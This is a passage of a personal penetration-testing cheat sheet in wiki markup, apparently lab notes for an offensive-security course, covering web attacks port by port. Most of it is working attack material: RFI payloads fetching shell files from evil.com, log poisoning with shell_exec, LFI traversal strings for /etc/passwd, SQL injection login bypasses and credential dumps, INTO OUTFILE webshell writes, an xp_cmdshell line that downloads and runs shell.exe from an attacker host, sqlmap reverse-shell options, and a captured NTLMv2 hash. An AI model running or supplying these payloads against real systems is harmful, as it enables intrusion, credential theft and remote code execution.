&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Filename containing spaces fix:&lt;br /&gt;
# kali-tftp fails when filename contains spaces.&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install -y tftp-hpa&lt;br /&gt;
# Commands&lt;br /&gt;
tftp [-v] -m binary IP -c get &#039;\Windows\system.ini&#039; system.ini&lt;br /&gt;
# \Windows\System32\Drivers\etc\hosts&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 79 - FINGER ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 80, 443 - HTTP/HTTPS ==&lt;br /&gt;
&lt;br /&gt;
=== Apache HTTP basic auth - Change password using htpasswd ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
htpasswd  username&lt;br /&gt;
# Can also change passwd for webda users with same command&lt;br /&gt;
# Example&lt;br /&gt;
htpasswd /var/www/web1/passwd.dav test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Burp Suite ===&lt;br /&gt;
&lt;br /&gt;
When adding custom header, always remember to have two or three new-lines after the header, otherwise the site wont respond.&lt;br /&gt;
&lt;br /&gt;
==== Add custom header permanent (Request and Response) ====&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Client Fingerprinting ===&lt;br /&gt;
&lt;br /&gt;
From PWK 13.1.4&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/fingerprintjs/fingerprintjs&lt;br /&gt;
cd /var/www/html/ &amp;amp;&amp;amp; sudo wget https://github.com/fingerprintjs/fingerprintjs/archive/2.1.4.zip &amp;amp;&amp;amp; sudo unzip 2.1.4.zip &amp;amp;&amp;amp; sudo mv fingerprintjs-2.1.4/ fp/ &amp;amp;&amp;amp; cd fp&lt;br /&gt;
# Then use whatever text editor you want to create an fingerprint2.html (sudo nano fingerprint2.html) file add the following code to it. This is the same code as in the example but it&#039;s &amp;quot;prettified&amp;quot; from within VS Code.&lt;br /&gt;
## YOU MIGHT GET ERROR THAT fingerprint2.js IS NOT DEFINED. Move fingerprint2.js from fp folder to /var/www/html.&lt;br /&gt;
&lt;br /&gt;
    Fingerprintjs2 test&lt;br /&gt;
&lt;br /&gt;
    Fingerprintjs2&lt;br /&gt;
    Your browser fingerprint:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      var d1 = new Date();&lt;br /&gt;
      var options = {};&lt;br /&gt;
      Fingerprint2.get(options, function (components) {&lt;br /&gt;
        var values = components.map(function (component) {&lt;br /&gt;
          return component.value;&lt;br /&gt;
        });&lt;br /&gt;
        var murmur = Fingerprint2.x64hash128(values.join(&amp;quot;&amp;quot;), 31);&lt;br /&gt;
        var d2 = new Date();&lt;br /&gt;
        var timeString =&lt;br /&gt;
          &amp;quot;Time to calculate the fingerprint: &amp;quot; + (d2 - d1) + &amp;quot;ms&amp;quot;;&lt;br /&gt;
        var details = &amp;quot;Detailed information: &amp;quot;;&lt;br /&gt;
        if (typeof window.console !== &amp;quot;undefined&amp;quot;) {&lt;br /&gt;
          for (var index in components) {&lt;br /&gt;
            var obj = components[index];&lt;br /&gt;
            var value = obj.value;&lt;br /&gt;
            if (value !== null) {&lt;br /&gt;
              var line = obj.key + &amp;quot; = &amp;quot; + value.toString().substr(0, 150);&lt;br /&gt;
              details += line + &amp;quot;&amp;quot;;&lt;br /&gt;
            }&lt;br /&gt;
          }&lt;br /&gt;
        }&lt;br /&gt;
        document.querySelector(&amp;quot;#details&amp;quot;).innerHTML = details;&lt;br /&gt;
        document.querySelector(&amp;quot;#fp&amp;quot;).textContent = murmur;&lt;br /&gt;
        document.querySelector(&amp;quot;#time&amp;quot;).textContent = timeString;&lt;br /&gt;
      });&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Then use a web server of your choice. If you use another web server as described elsewhere in this course, just be aware of where you execute it. Apache defaults to /var/www/html/ while others may be dependant on where you start them. I saw some chatter about Apache not working, however it does for me:&lt;br /&gt;
&lt;br /&gt;
sudo systemctl start apache2&lt;br /&gt;
# Now visit localhost or IP of server&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Command injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-with-backslash-and-slash&lt;br /&gt;
Filter Bypasses&lt;br /&gt;
Bypass without space&lt;br /&gt;
Bypass with a line return&lt;br /&gt;
Bypass with backslash newline&lt;br /&gt;
Bypass characters filter via hex encoding&lt;br /&gt;
Bypass blacklisted words&lt;br /&gt;
Bypass with single quote&lt;br /&gt;
Bypass with double quote&lt;br /&gt;
Bypass with backslash and slash&lt;br /&gt;
Bypass with $@&lt;br /&gt;
Bypass with $()&lt;br /&gt;
Bypass with variable expansion&lt;br /&gt;
Bypass with wildcards&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Directory brute force ===&lt;br /&gt;
&lt;br /&gt;
Try different tools! Sometimes different tools give different results. See Robust box notes for more info.&lt;br /&gt;
&lt;br /&gt;
==== Feroxbuster ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# --threads 1; max 1 thread; -f appends slash (/); --status-codes; only show 200, -L 3; Limit total number of concurrent scans, --auto-tune;  Automatically lower scan rate when an excessive amount of errors are encountered, --depth 3; Maximum recursion depth, a depth of 0 is infinite recursion&lt;br /&gt;
feroxbuster --url https://URL --threads 1 -f -x php,html,txt,sh --status-codes 200 -o ferox.result3 -L 3 --auto-tune --depth 3 -x txt bak sql sh asp aspx php json conf htaccess config jar db html&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Gobuster ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gobuster dir -u https://URL -w /usr/share/wordlist/dirb/big.txt [-x FILE EXTENSION]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ffuf ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ffuf -w /path/to/wordlist -u https://target/FUZZ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== wfuzz ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u http://192.168.153.200/FUZZ -H &amp;quot;X-Forwarded-For: 10.10.10.150&amp;quot; --hc 404&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== .htaccess change to allow upload php ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat .htaccess&lt;br /&gt;
AddType application/x-httpd-php .evil&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== File upload ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings · GitHub]&lt;br /&gt;
&lt;br /&gt;
==== File upload MindMap ====&lt;br /&gt;
&lt;br /&gt;
[[File:2023-06-file-upload-mindmap-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Extension ====&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/file-upload https://book.hacktricks.xyz/pentesting-web/file-upload]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module&lt;br /&gt;
- Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp&lt;br /&gt;
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml&lt;br /&gt;
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action&lt;br /&gt;
- Coldfusion: .cfm, .cfml, .cfc, .dbm&lt;br /&gt;
- Flash: .swf&lt;br /&gt;
- Perl: .pl, .cgi&lt;br /&gt;
- Erlang Yaws Web Server: .yaws&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== HTTP PUT ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -X PUT http:/// -d @ -v&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Web.config ====&lt;br /&gt;
&lt;br /&gt;
[https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/ Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
# Web.cofig file with ASP code at the bottom. Modify at will.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Local File Incusion (LFI) / Remote File Inclusion (RFI) ===&lt;br /&gt;
&lt;br /&gt;
==== Log Poising ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First identify what logs you have access to. Then inject php payload to the access log.&lt;br /&gt;
# For example: Apache2 /var/log/apache2/access.log.&lt;br /&gt;
# Or: vsftpd /var/log/vsftpd.log&lt;br /&gt;
nc -nv 10.11.0.22 80&lt;br /&gt;
(UNKNOWN) [10.11.0.22] 80 (http) open&lt;br /&gt;
&#039; . shell_exec($_GET[&#039;cmd&#039;]) . &#039;&#039;;?&amp;gt;&lt;br /&gt;
# You should now see that request in the access log (Or other logs you, like /var/log/vsftpd.log if its a FTP server.&lt;br /&gt;
curl http://10.10.10.10/site.php?file=/var/log/apache2/access.log&amp;amp;cmd=whoami&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LFI ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion&lt;br /&gt;
# Basic LFI&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd&lt;br /&gt;
# Null byte&lt;br /&gt;
## In versions of PHP below 5.3.4 we can terminate with null byte.&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd%00&lt;br /&gt;
# Double encoding&lt;br /&gt;
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd&lt;br /&gt;
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00&lt;br /&gt;
# UTF-8 encoding&lt;br /&gt;
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&lt;br /&gt;
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00&lt;br /&gt;
# Path and dot truncation&lt;br /&gt;
## On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd&lt;br /&gt;
# Filter bypass tricks&lt;br /&gt;
http://example.com/index.php?page=....//....//etc/passwd&lt;br /&gt;
http://example.com/index.php?page=..///////..////..//////etc/passwd&lt;br /&gt;
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&lt;br /&gt;
# PHP header file (Windows)&lt;br /&gt;
&lt;br /&gt;
# PHP header file (Linux)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LFI list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt&lt;br /&gt;
# Windows&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt&lt;br /&gt;
https://gist.github.com/korrosivesec/a339e376bae22fcfb7f858426094661e&lt;br /&gt;
# Both&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== RFI ====&lt;br /&gt;
&lt;br /&gt;
If webserver dosent execute RFI, see PHP shell_exec further down.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion&lt;br /&gt;
# Basic RFI&lt;br /&gt;
http://example.com/index.php?page=http://evil.com/shell.txt&lt;br /&gt;
# Null byte&lt;br /&gt;
http://example.com/index.php?page=http://evil.com/shell.txt%00&lt;br /&gt;
# Double encoding&lt;br /&gt;
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt&lt;br /&gt;
# Bypass allow_url_include&lt;br /&gt;
# When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.&lt;br /&gt;
# 1. Create a share open to everyone&lt;br /&gt;
# 2. Write a PHP code inside a file : shell.php&lt;br /&gt;
# 3. Include it http://example.com/index.php?page=\\10.0.0.1\share\shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PHP Wrappers ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion vulnerabilities.&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#lfi--rfi-using-wrappers&lt;br /&gt;
# Example&lt;br /&gt;
http://10.10.10.10/test.php?file=data:text/plain,hello world&lt;br /&gt;
# Example 2&lt;br /&gt;
http://10.10.10.10/test.php?file=data:text/plain,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scanners ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# nikto&lt;br /&gt;
nitko -h  &amp;gt; output.txt&lt;br /&gt;
# crawleet&lt;br /&gt;
python crawleet.py -u  -b -d 3 -e jpg,png,css -f -m -s -x php,txt -y --threads 20&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SQL injection ===&lt;br /&gt;
&lt;br /&gt;
==== Cheatsheet and good articles ====&lt;br /&gt;
&lt;br /&gt;
[https://www.tarlogic.com/en/blog/red-team-tales-0x01/ https://www.tarlogic.com/en/blog/red-team-tales-0x01/]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection] (Click on the SQL server that is used)&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection]&lt;br /&gt;
&lt;br /&gt;
[https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver]&lt;br /&gt;
&lt;br /&gt;
See notes for 10.11.1.229&lt;br /&gt;
&lt;br /&gt;
==== Theory ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Databases --&amp;gt; Tables --&amp;gt; Column_names&lt;br /&gt;
# Queries&lt;br /&gt;
# Show all tables in database information_schema&lt;br /&gt;
table_name FROM information_schema.tables&lt;br /&gt;
# use information_schema, show all column_name from table wp_users&lt;br /&gt;
column_name FROM information_schema.columns WHERE table_name=&#039;wp_users&#039;&lt;br /&gt;
# Show all information in user_login column from table wp_users&lt;br /&gt;
user_login FROM wp_users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication Bypass ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Show me all columns and rows for users with a name of User1 or where one equals one. Since 1=1 condition is always true, all rows will be returned.&lt;br /&gt;
&#039;user1&#039; or 1=1&lt;br /&gt;
# If error encountered we can instruct the query to return a fixed number of records with the LIMIT statement&lt;br /&gt;
&#039;user1&#039; or 1=1 LIMIT1;#&lt;br /&gt;
&lt;br /&gt;
&#039; or 1=1; -- -&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Basic SQL Injection ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection&lt;br /&gt;
https://blog.aghanim.net/?p=1203&lt;br /&gt;
# ENTRY POINT DETECTION&lt;br /&gt;
## Detection of an SQL injection entry point Simple characters&lt;br /&gt;
&#039;&lt;br /&gt;
%27&lt;br /&gt;
&amp;quot;&lt;br /&gt;
%22&lt;br /&gt;
#&lt;br /&gt;
%23&lt;br /&gt;
;&lt;br /&gt;
%3B&lt;br /&gt;
)&lt;br /&gt;
Wildcard (*)&lt;br /&gt;
&#039;  # required for XML content&lt;br /&gt;
## Multiple encoding&lt;br /&gt;
%%2727&lt;br /&gt;
%25%27&lt;br /&gt;
## Merging characters&lt;br /&gt;
`+HERP&lt;br /&gt;
&#039;||&#039;DERP&lt;br /&gt;
&#039;+&#039;herp&lt;br /&gt;
&#039; &#039;DERP&lt;br /&gt;
&#039;%20&#039;HERP&lt;br /&gt;
&#039;%2B&#039;HERP&lt;br /&gt;
## Logic Testing&lt;br /&gt;
page.asp?id=1 or 1=1 -- true&lt;br /&gt;
page.asp?id=1&#039; or 1=1 -- true&lt;br /&gt;
page.asp?id=1&amp;quot; or 1=1 -- true&lt;br /&gt;
page.asp?id=1 and 1=2 -- false&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Database ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use &#039;order by&#039; clause to tell the database to sort the results of the query by the values in one or more columns. Increment value by 1 until error.&lt;br /&gt;
# If error out on 4, that means that there are 3 columns.&lt;br /&gt;
?id=1 order by 1&lt;br /&gt;
# UNION statement allow us to add a second select statement to the orignal query. SEE PIC BELOW&lt;br /&gt;
http://localhost/debug.php?id=1 union all select 1, 2, 3&lt;br /&gt;
# Only two columns are displayed, 2 and 3. So if we have a column named username and passord from table users, we can write it like this to display conent of username and password&lt;br /&gt;
?id=1 union all select 1, username, password from users&lt;br /&gt;
# MariaDB version&lt;br /&gt;
?id=1 union all select 1, 2, @@version&lt;br /&gt;
# Database user&lt;br /&gt;
?id=1 union all select 1, 2, user()&lt;br /&gt;
# Enumerate database tables and column structures through &#039;information_schema&#039;&lt;br /&gt;
?id=1 union all select 1, 2, table_name from information_schema.tables&lt;br /&gt;
?id=1 union all select 1, 2, column_name from information_schema.columns where table_name=&#039;users&#039;&lt;br /&gt;
?id=1 union all select 1, username, password from users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== SQLmap ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basic arguments for SQLmap&lt;br /&gt;
sqlmap --url=&amp;quot;&amp;quot; -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs&lt;br /&gt;
# Load a request file and use mobile user-agent&lt;br /&gt;
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1&lt;br /&gt;
# Custom injection in UserAgent/Header/Referer/Cookie&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com&amp;quot; --data &amp;quot;username=admin&amp;amp;password=pass&amp;quot;  --headers=&amp;quot;x-forwarded-for:127.0.0.1*&amp;quot;&lt;br /&gt;
## The injection is located at the &#039;*&#039;&lt;br /&gt;
# SHELL&lt;br /&gt;
## SQL Shell&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --sql-shell&lt;br /&gt;
## Simple Shell&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --os-shell&lt;br /&gt;
## Dropping a reverse-shell / meterpreter&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --os-pwn&lt;br /&gt;
## SSH Shell by dropping an SSH key&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot; -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/&lt;br /&gt;
# Crawl a website with SQLmap and auto-exploit&lt;br /&gt;
sqlmap -u &amp;quot;http://example.com/&amp;quot; --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3&lt;br /&gt;
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers&lt;br /&gt;
--crawl = how deep you want to crawl a site&lt;br /&gt;
--forms = Parse and test forms&lt;br /&gt;
# Using TOR with SQLmap&lt;br /&gt;
sqlmap -u &amp;quot;http://www.target.com&amp;quot; --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5&lt;br /&gt;
# Using a proxy with SQLmap&lt;br /&gt;
sqlmap -u &amp;quot;http://www.target.com&amp;quot; --proxy=&amp;quot;http://127.0.0.1:8080&amp;quot;&lt;br /&gt;
# Using Chrome cookie and a Proxy&lt;br /&gt;
sqlmap -u &amp;quot;https://test.com/index.php?id=99&amp;quot; --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy &amp;quot;http://127.0.0.1:8080&amp;quot;  -f  --time-sec 15 --level 3&lt;br /&gt;
# Using suffix to tamper the injection&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --suffix=&amp;quot;-- &amp;quot;&lt;br /&gt;
# General tamper option and tamper&#039;s list&lt;br /&gt;
tamper=name_of_the_tamper&lt;br /&gt;
# SQLMap supports a `--test-filter` flag. This flag tells SQLMap to test for payloads that match a specific pattern.&lt;br /&gt;
https://twitter.com/kuldeepdotexe/status/1687897180953034754&lt;br /&gt;
sqlmap -u https://lab_host/filter\?category\=Food+%26+Drink -p category --test-filter=&amp;quot;Generic UNION query (NULL)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Union based sqli ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enumerate column&lt;br /&gt;
# Add ,NULL until no more erros. Thats how many column there is.&lt;br /&gt;
# To determin where there is data, remove one NULL and add random data. If no error, then there is data there.&lt;br /&gt;
&#039; UNION SELECT NULL--&lt;br /&gt;
&#039; UNION SELECT NULL,NULL,NULL FROM DUAL--&lt;br /&gt;
&#039; UNION SELECT table_name,NULL,NULL FROM all_tables--&lt;br /&gt;
&#039; UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name=&#039;WEB_ADMINS&#039;--&lt;br /&gt;
Blog entry from ADMIN_NAME with title null from 0&lt;br /&gt;
Blog entry from PASSWORD with title null from 0&lt;br /&gt;
&#039; UNION SELECT ADMIN_NAME,PASSWORD,NULL FROM WEB_ADMINS--&lt;br /&gt;
&#039; UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name=&#039;WEB_USERS&#039;--&lt;br /&gt;
Blog entry from PASSWORD with title null from 0&lt;br /&gt;
Blog entry from USER_ID with title null from 0&lt;br /&gt;
Blog entry from USER_NAME with title null from 0&lt;br /&gt;
&#039; UNION SELECT USER_NAME,NULL,NULL FROM WEB_USERS--&lt;br /&gt;
Blog entry from alice with title null from 0&lt;br /&gt;
Blog entry from eric with title null from 0&lt;br /&gt;
Blog entry from maria with title null from 0&lt;br /&gt;
&#039; UNION SELECT PASSWORD,NULL,NULL FROM WEB_USERS--&lt;br /&gt;
Blog entry from bobismyuncle with title null from 0&lt;br /&gt;
Blog entry from letmein with title null from 0&lt;br /&gt;
Blog entry from thisismypassword with title null from 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Usuful commands (Upload shells) ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
# Test SQLI with sleep&lt;br /&gt;
# Double hyphen is used to out-comment rest of the query&lt;br /&gt;
&#039; UNION SELECT sleep(5); -- -&lt;br /&gt;
# Write a webshell&lt;br /&gt;
UNION SELECT &amp;quot;&amp;quot; into outfile &amp;quot;C:\\xampp\\htdocs\\backdoor.php&amp;quot;&lt;br /&gt;
UNION SELECT &#039;&#039; INTO OUTFILE &#039;/var/www/html/x.php&#039; FIELDS TERMINATED BY &#039;&#039;&lt;br /&gt;
&#039; UNION SELECT (&amp;quot; into OUTFILE &#039;c:/xampp/htdocs/backdoor.php&#039;&lt;br /&gt;
# Code execution&lt;br /&gt;
?id=1 union all select 1, 2, load_file(&#039;C:/Windows/win.ini&#039;)&lt;br /&gt;
# Mssql download shell, output it, and execute it&lt;br /&gt;
&#039;;EXEC xp_cmdshell &#039;certutil -urlcache -split -f &amp;quot;http://192.168.119.176/shell.exe&amp;quot; C:\windows\temp\shell.exe&amp;amp;&amp;amp; cmd.exe /c C:\windows\temp\shell.exe&lt;br /&gt;
# XP_dirtree - Remember to start responder or impacket-smbserver&lt;br /&gt;
1&#039;; use master; exec xp_dirtree &#039;\\192.168.119.176\SHARE&#039;;--&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSRF ===&lt;br /&gt;
&lt;br /&gt;
==== Capture hash ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example from PG Heist&lt;br /&gt;
# On target website&lt;br /&gt;
http://heist.offsec:8080/?url=http://192.168.49.247:80&lt;br /&gt;
# On attacker&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/heist]&lt;br /&gt;
└─# responder -I tun0&lt;br /&gt;
[+] Listening for events...&lt;br /&gt;
[HTTP] NTLMv2 Client   : ::ffff:192.168.247.165&lt;br /&gt;
[HTTP] NTLMv2 Username : HEIST\enox&lt;br /&gt;
[HTTP] NTLMv2 Hash     : enox::HEIST:9d578233382be8e1:0CB1CB346E8C78CF508746D763D78FCB:010100[...]&lt;br /&gt;
# Hash format&lt;br /&gt;
netntlmv2&lt;br /&gt;
